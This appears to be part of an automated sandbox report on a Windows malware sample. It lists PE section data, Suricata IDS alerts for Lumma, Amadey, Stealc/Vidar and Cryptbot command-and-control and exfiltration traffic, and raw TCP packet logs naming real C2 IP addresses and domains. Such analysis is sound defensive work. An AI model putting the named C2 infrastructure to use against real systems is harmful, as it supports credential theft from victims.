.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ecafqtwy	0x6b000	0x2b9000	0x2b8c00	40f0edc8c179097bfaf71532666583d8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sufudceg	0x324000	0x1000	0x400	7a11728dddfe05add453f4b9c2c4404f	False	0.7568359375	data	6.063228224104823	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x325000	0x3000	0x2200	75e7f4dc4861c7f6dc2a57aa1cae65da	False	0.0642233455882353	DOS executable (COM)	0.8106589480268905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x323580	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x323964	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T21:12:01.738832+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	50067	104.21.21.99	443	TCP
2024-12-20T21:12:01.738832+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50067	104.21.21.99	443	TCP
2024-12-20T21:13:06.416495+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49836	185.215.113.43	80	TCP
2024-12-20T21:13:11.114186+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49849	31.41.244.11	80	TCP
2024-12-20T21:13:20.876831+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49845	TCP
2024-12-20T21:13:22.231814+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49879	185.215.113.43	80	TCP
2024-12-20T21:13:23.681256+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49887	31.41.244.11	80	TCP
2024-12-20T21:13:34.543826+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49915	185.215.113.43	80	TCP
2024-12-20T21:13:35.993308+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49920	31.41.244.11	80	TCP
2024-12-20T21:13:42.449430+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49937	185.215.113.43	80	TCP
2024-12-20T21:13:43.919339+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49939	31.41.244.11	80	TCP
2024-12-20T21:13:46.905981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49950	104.21.91.209	443	TCP
2024-12-20T21:13:47.854673+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49951	185.215.113.43	80	TCP
2024-12-20T21:13:48.314827+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49950	104.21.91.209	443	TCP
2024-12-20T21:13:48.314827+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49950	104.21.91.209	443	TCP
2024-12-20T21:13:49.333536+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49958	104.21.91.209	443	TCP
2024-12-20T21:13:49.380056+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49955	31.41.244.11	80	TCP
2024-12-20T21:14:00.206964+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49986	185.215.113.43	80	TCP
2024-12-20T21:14:01.681121+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49990	31.41.244.11	80	TCP
2024-12-20T21:14:08.733448+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.6	50009	116.203.12.114	443	TCP
2024-12-20T21:14:08.976461+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50011	185.215.113.43	80	TCP
2024-12-20T21:14:10.345361+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50019	185.121.15.192	80	TCP
2024-12-20T21:14:10.446276+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50020	185.215.113.16	80	TCP
2024-12-20T21:14:13.753454+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.6	50026	116.203.12.114	443	TCP
2024-12-20T21:14:13.753753+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.12.114	443	192.168.2.6	50026	TCP
2024-12-20T21:14:13.954272+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50027	185.121.15.192	80	TCP
2024-12-20T21:14:14.777590+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	59477	1.1.1.1	53	UDP
2024-12-20T21:14:15.007025+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	60114	1.1.1.1	53	UDP
2024-12-20T21:14:15.241139+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	59275	1.1.1.1	53	UDP
2024-12-20T21:14:16.045110+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.12.114	443	192.168.2.6	50034	TCP
2024-12-20T21:14:16.905034+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:16.905034+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:17.655260+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:17.655260+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50038	104.21.21.99	443	TCP
2024-12-20T21:14:18.899693+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	50059	104.21.21.99	443	TCP
2024-12-20T21:14:18.899693+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50059	104.21.21.99	443	TCP
2024-12-20T21:14:19.889975+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50059	104.21.21.99	443	TCP
2024-12-20T21:14:19.889975+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50059	104.21.21.99	443	TCP
2024-12-20T21:14:22.722657+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50067	104.21.21.99	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 21:13:04.947551966 CET	49836	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:05.067549944 CET	80	49836	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:05.067691088 CET	49836	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:05.068638086 CET	49836	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:05.188157082 CET	80	49836	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:06.416390896 CET	80	49836	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:06.416495085 CET	49836	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:07.927020073 CET	49836	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:07.927309036 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:08.046919107 CET	80	49845	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:08.046998978 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:08.047188044 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:08.047275066 CET	80	49836	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:08.047441959 CET	49836	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:08.166672945 CET	80	49845	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:09.424875021 CET	80	49845	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:09.424896002 CET	80	49845	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:09.424973011 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:09.424973011 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:09.661990881 CET	80	49845	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:09.662066936 CET	49845	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:09.667788029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:09.788261890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:09.788340092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:09.790982008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:09.910501957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114116907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114136934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114152908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114186049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.114351034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.114360094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114377022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114473104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.114603043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114620924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114752054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114768982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114783049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.114815950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.114897013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.236680984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.236782074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.236799002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.236881018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.240875959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.240936041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.240988970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.241097927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.245507002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.245681047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.306952953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.306988955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.307090044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.307090044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.311074972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.311194897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.311223984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.311331034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.319478989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.322480917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.322547913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.322594881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.322957039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.330847025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.330944061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.330952883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.331170082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.339267969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.339359045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.339386940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.339490891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.347644091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.347701073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.347707987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.347759962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.356004953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.356050968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.356074095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.356122971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.364361048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.364408970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.364459991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.364459991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.372751951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.372831106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.372879982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.381146908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.381213903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.381314039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.388521910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.388628960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.388655901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.388681889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.469888926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.469995975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.470086098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.511240005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.511287928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.511356115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.512475967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.512530088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.512562037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.512619019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.516772985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.516901016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.517004013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.521008015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.521131992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.521290064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.525929928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.526222944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.526360035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.529912949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.529947996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.530078888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.533816099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.533904076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.533973932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.538064003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.538142920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.538223028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.542282104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.542406082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.542520046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.546567917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.546689987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.546773911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.550833941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.550898075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.550968885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.555056095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.555129051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.555145025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.555335999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.559340954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.559520960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.559570074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.563803911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.563870907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.563950062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.568398952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.568455935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.568548918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.572289944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.572408915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.572593927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.576366901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.576492071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.576559067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.580715895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.580790043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.580926895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.584820032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.584920883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.585006952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.589098930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.589212894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.589294910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.593369961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.593466043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.593534946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.597609043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.597722054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.597790003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.601840019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.601944923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.602026939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.701852083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.701915026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.702008009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.703548908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.703762054 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.704229116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.704307079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.704334974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.704375982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.707818985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.707973957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.708004951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.708020926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.711352110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.711558104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.711596012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.711596012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.714865923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.714999914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.715092897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.718389034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.718440056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.718502998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.721693993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.721786022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.721843958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.721892118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.724960089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.725092888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.725151062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.728127003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.728271008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.728343010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.730124950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.730190992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.730237961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.730287075 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.732132912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.732218981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.732247114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.732291937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.734142065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.734240055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.734318972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.736181021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.736278057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.736392975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.738157988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.738219023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.738275051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.738326073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.740173101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.740300894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.740330935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.740350962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.742213964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.742391109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.742445946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.744163990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.744288921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.744415998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.746202946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.746279001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.746367931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.746437073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.748248100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.748337030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.748379946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.748379946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.750215054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.750328064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.750390053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.752207041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.752279997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.752331972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.752388954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.754309893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.754358053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:11.754493952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:11.754559040 CET	49849	80	192.168.2.6	31.41.244.11
